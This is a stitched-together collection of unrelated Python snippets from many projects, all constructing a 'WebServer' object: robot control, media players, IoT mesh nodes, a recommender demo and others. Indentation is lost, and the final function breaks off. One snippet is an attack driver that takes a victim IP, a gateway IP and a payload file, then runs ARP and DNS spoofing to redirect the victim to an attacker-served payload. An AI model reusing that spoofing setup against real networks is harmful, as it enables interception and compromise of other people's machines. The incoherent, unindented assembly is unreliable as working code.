def main() -> int:
server = WebServer(
port=8085
) # Change this number to change the web server port being served.
robot = Robot(
port=None
) # Change this number to change the serial port number being used to control the robot.
detector = ImageDetector(
resolution_front=Resolution(1280, 720),
resolution_bottom=Resolution(1280, 720),
in_video_front=
'f.mp4', # Set the in_video_front and in_video_bottom to 0 and 1 for cameras.
in_video_bottom='b.mp4',
# video_path_front=f'output_f_{time.time()}.avi',
# video_path_bottom=f'output_b_{time.time()}.avi',
)
detector_thread = Thread(target=detector_loop(detector, robot))
detector_thread.daemon = False
detector_thread.start()
actions = Actions(robot=robot, detector=detector)
robot.set_handler(actions.on_read)
for name, action in actions.list.items():
server.add_rule(name, action)
server.run()
actions.run()
def on_exit():
robot.close()
server.close()
register_exit_event(on_exit)
return 0
def main():
global RCE_DOMAIN
if len(sys.argv) < 5:
print("[-] Expecting 4 arguments, got %i." % (len(sys.argv) - 1))
print(
"%s [Interface Name] [Victim IP] [Gateway IP] [Payload Filename]" %
sys.argv[0])
return 0
if os.geteuid() != 0:
print("[-] root permissions required.")
return 0
interface_name = sys.argv[1]
target_ip = sys.argv[2]
gateway_ip = sys.argv[3]
payload_filename = sys.argv[4]
print("[+] Grabbing interface IP address.")
interface_ip = get_ip_address(interface_name)
if interface_ip == "0.0.0.0":
print("[-] Could not find the IPv4 Address of the provided interface.")
return 0
print("[+] Starting webserver.")
WebServer(payload_filename)
print("[+] Starting ARP Spoofing.")
ARPSpoofer(target_ip, gateway_ip)
print("[+] Starting DNS Spoofing.")
DNSSpoofer(RCE_DOMAIN, interface_ip)
return 0
def main() -> int:
server = WebServer(port=8085)
server.add_rule('task1', task1)
try:
server.run()
except KeyboardInterrupt:
server.close()
return 0
def do_activate(self):
WebPlayer.DBAccess.rbshell = self.object
WebPlayer.PlayerControl.rbshell = self.object
Views.Views.rbplugin = self
Views.Views.add_template_path("web/")
print "starting server..."
self.__server = WebServer("0.0.0.0", 8001, "webplayer.settings")
self.__server.start()
def start(self):
"""Sets up the server to listen on a port and starts all subsystems."""
port = self.getConfig('server_port', int, 8880)
ip = self.getConfig('server_ip', str, '')
reactor.listenTCP(port, self, interface=ip)
self.web = WebServer(self)
self.web.start()
self.workProvider.start()
def __init__(self):
self.timeToSendSelfInfo = 10
self.ap = WifiAP()
firmware = FirmwareHasher.calculate()
print("Code firmware: " + str(firmware))
self.decoration = NetworkNodeDecoration(self.ap.ID, -1, -1, firmware,
{})
self.meshState = MeshNetworkState(self.decoration)
self.messageBoard = MessageBoard(self.meshState)
self.mesh = LoraMeshAdapter(self.messageBoard, self.meshState)
self.view = WebClientView(self.messageBoard, self.meshState)
self.www = WebServer(self.view)
def __init__(self, m):
QWidget.__init__(self)
self.gameVar = GameVar() # Contient tout les variables du jeu
self.MW = m
self.on_click
try:
self.initSerial()
except serial.SerialException as e:
print("Erreur connexion Arduino")
self.gameVar.error += str(e)
print(e)
self.ws = WebServer(self.gameVar, self)
self.ws.start()
def start_server(environment):
if not os.path.exists('temp'):
os.makedirs('temp')
if not os.path.exists('log'):
os.makedirs('log')
setup_logging()
global_config_filename = f"global-{environment}.ini"
cherrypy.config.update(global_config_filename)
cherrypy.config.update({'error_page.500': error_page_500})
webapp = WebServer()
webapp.get_options = GetOptionsService()
webapp.set_options = SetOptionsService()
webapp.get_default_dataset_headers = GetDefaultDatasetHeadersService()
cherrypy.quickstart(webapp, '/', "app.ini")
def deskWriteJob(arglist, kwargs):
info = arglist[0]
#print "in the thread is:" + str(info)
webservername = str(info["dev_name"])
if info["dev_name"] not in g_client_list:
g_lock.acquire()
print "new webserver"
print info["dev_name"]
g_client_list[info["dev_name"]] = info["dev_name"]
g_lock_dict[info["dev_name"]] = thread.allocate_lock()
newwebserver = WebServer()
newwebserver.SetDevname(info["dev_name"])
g_websever[info["dev_name"]] = newwebserver
g_lock.release()
temp_lock = g_lock_dict[info["dev_name"]]
temp_lock.acquire()
temp_webserver = g_websever[info["dev_name"]]
temp_webserver.JobDespatcher(info)
temp_lock.release()
import sys
from WebServer import WebServer
from flask import request
if __name__ == "__main__":
server = WebServer()
# server.host = "0.0.0.0"
server.port = 5001
server.init()
server.run()
def __init__(self, elkIP): self.WindowsEvents = WindowsEvents(elkIP) self.WebLogs = WebServer(elkIP) self.DatabaseLogs = DatabaseLogs(elkIP)
def main():
my_server = WebServer("127.0.0.1", 8008)
my_server.serve_web()
# local imports from PassScheduler import PassScheduler from WebServer import WebServer scheduler = PassScheduler() webserver = WebServer(scheduler) scheduler.start() webserver.start() input()
### MAIN ###
import signal
import sys
import time
import RPi.GPIO as GPIO
from WebServer import WebServer
GPIO.setwarnings(False)
def shutdownServer(sig, unused):
server.shutdown()
print('Clean-up')
GPIO.cleanup()
time.sleep(1)
sys.exit(1)
signal.signal(signal.SIGINT, shutdownServer)
server = WebServer(10000)
server.start()
print("Press Ctrl+C to shut down server.")
def main():
ws = WebServer()
signal(SIGINT, ws.endServer)
ws.start()
def Cherry():
Log.info('######################Start Cherrypy!########################')
cherrypy.config.update({'environment' : 'production',
'engine.autoreload_on' : False,
'checker.on' : False,
'server.socket_host' : '0.0.0.0',
'server.socket_port' : UtilFunc.getWebServerPort(),
'server.thread_pool' : 6,
'server.thread_pool_max' : 10,
'server.max_request_body_size' : sys.maxint,
'log.screen' : True,
})
services = {'/storages':Storages(), '/system':System(), '/version':Version(),
'/files':Files(), '/share':Share(), '/search':Search(), '/logs':ESLog(),
'/batch':Batch(), '/photos':Photos(), '/music':Music(),
'/video':Video(), '/backup':Backup()}
if not UtilFunc.isPCMode():
from Apps.AppCtrl import AppCtrl
services['/app'] = AppCtrl()
for server in services.keys():
mountService(services[server], "/api" + server)
Log.info('Mount APIServices Complete!')
cherrypy.tree.mount(portal(), '/',
config={'/': {'tools.auth.on' : False,
'tools.staticdir.on' : True,
'tools.staticdir.dir' : UtilFunc.module_path(),
},
})
Log.info('Mount Portal Service Complete!')
cherrypy.tree.mount(GuestShare(), '/share', config={'/': _getMountConfig(False)})
Log.info('Mount GuestShare Service Complete!')
try:
server2 = _cpwsgi_server.CPWSGIServer()
server2.bind_addr = ('0.0.0.0', 1984)
adapter2 = _cpserver.ServerAdapter(cherrypy.engine, server2, server2.bind_addr)
adapter2.subscribe()
cherrypy.tree.graft(WebServer().my_crazy_app, "/web")
syncdir = os.path.join(os.getcwd(),"sync")
if not os.path.exists(syncdir):
os.mkdir(syncdir)
config = {"mount_path" :"/syncservice",
"provider_mapping":{"webdav":syncdir},
"user_mapping" :{},
"verbose" :2,
"dir_browser" :{
"enable" : True,
"response_trailer": "",
"davmount" : False,
"msmount" : False
}
}
cherrypy.tree.graft(WsgiDAVApp(config),"/syncservice")
Log.info('Start WsgiDAV Complete!')
except Exception, e:
Log.info('WsgiDAV Start Failed! Reason[%s]'%e)
# simulate different request coming into the system
from WebServer import WebServer, Request, Action
configMap = {"numberToServe": 10, "data_dir": "DATA"}
server = WebServer(configMap)
server.start(
) # load all the data in the database, start the first model training
# now experiment
reqX1 = Request(userId='X1')
req1 = Request(userId=1)
print(reqX1)
print(req1)
recX1 = server.renderRec(reqX1) # output recommendations
print(recX1)
rec1 = server.renderRec(req1) # output recommendations
print(rec1)
# now we start an action
action1 = Action(1, 255, 5) # user 1 rated item 255 as score 5
print(server.getFromInventory(255)) # find out the name of item 255
server.getAction(action1) # feed the action to the server
rec1_afteraction = server.renderRec(
req1) # get recommendation after the system knows about the action
print(rec1_afteraction)
actionX1 = Action('X1', 123,
5) # anonymous user's action won't be saved in database
from uasyncio import get_event_loop
from mDnsServer import mDnsServer
from WifiManager import WifiManager
from WebServer import WebServer
from ClockManager import ClockManager
from settings import readNetId
PUBLIC_NAME = "clock"
netId = readNetId()
publicName = "{}-{}".format(PUBLIC_NAME, netId)
wifiManager = WifiManager(publicName)
mdnsServer = mDnsServer(wifiManager, publicName)
webServer = WebServer(wifiManager)
clockManager = ClockManager(wifiManager, webServer)
loop = get_event_loop()
loop.run_forever()
loop.close()
async def main():
logging.info('{0}() : Python {1}'.format(sys._getframe().f_code.co_name, sys.version_info))
tasks = []
loop = asyncio.get_event_loop()
executor = ThreadPoolExecutor(max_workers=4, thread_name_prefix='videoThread')
signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT)
for s in signals:
loop.add_signal_handler(
s, lambda s=s: loop.create_task(shutdown(loop, executor, signal=s)))
try:
#
# Default to USB Webcam
#
# with VideoProcessor(videoPath = '/home/wcbiot/OpenVINO-Toolkit-Setup/App/ObjectDetection/Python/youtube.mp4') as videoProcessor:
with VideoProcessor(videoPath = '/dev/video0') as videoProcessor:
# async with VideoProcessor(devicePath = '/dev/video0') as videoProcessor:
#
# Initialize Tornado Web Server
#
webServer = WebServer(videoProcessor = videoProcessor, port = 8080)
if (sys.version_info >= (3, 7)):
loop = asyncio.get_running_loop()
loop.set_debug(False)
else:
loop = asyncio.get_event_loop()
loop.set_debug(False)
#
# Start Capturing from Video
#
videoStreamTask = loop.create_task(videoProcessor.videoData.capture_video_frame_async(executor))
tasks.append(videoStreamTask)
#
# Start Processing video frames
#
videoProcessTask = loop.create_task(videoProcessor.process_video_frame_async(executor))
tasks.append(videoProcessTask)
#
# Start Tornado Web Server
#
webServer.start_web_server()
#
# keyboard input
#
inputTask = loop.run_in_executor(executor, stdin_listener)
# tasks.append(inputTask)
await inputTask
for task in tasks:
# print("Task {}", task)
task.cancel()
done, futures = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)
# webServer.stop_web_server()
except CancelledError:
logging.info('-- {0}() - Cancelled'.format(sys._getframe().f_code.co_name))
except Exception as ex:
exc_type, exc_obj, exc_tb = sys.exc_info()
traceback.print_exception(exc_type, exc_obj, exc_tb)
logging.error('!! {0}() : Exception {1}'.format(sys._getframe().f_code.co_name, ex))
finally:
logging.info('-- {0}() - Finally'.format(sys._getframe().f_code.co_name))
for task in asyncio.Task.all_tasks():
logging.info("Task {}".format(task))
# done, futures = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION)
# print("done {}", done)
# print("futures {}", futures)
# await asyncio.gather(*tasks, return_exceptions=True)
await loop.shutdown_asyncgens()
from Server import Server
from WebServer import WebServer
import threading
import time
import schedule
server = Server("", 2332)
web_server = WebServer()
def server_threading():
"""用于启动服务器进程的函数"""
server.start()
def web_server_threading():
"""用于启动网站服务器进程的函数"""
web_server.run("", 5000)
def update():
"""更新网页信息"""
# 更新流量信息
tumple_dict = server.get_tumple_dict()
web_server.calculate_five_tumple(tumple_dict)
def main():
"""主函数"""
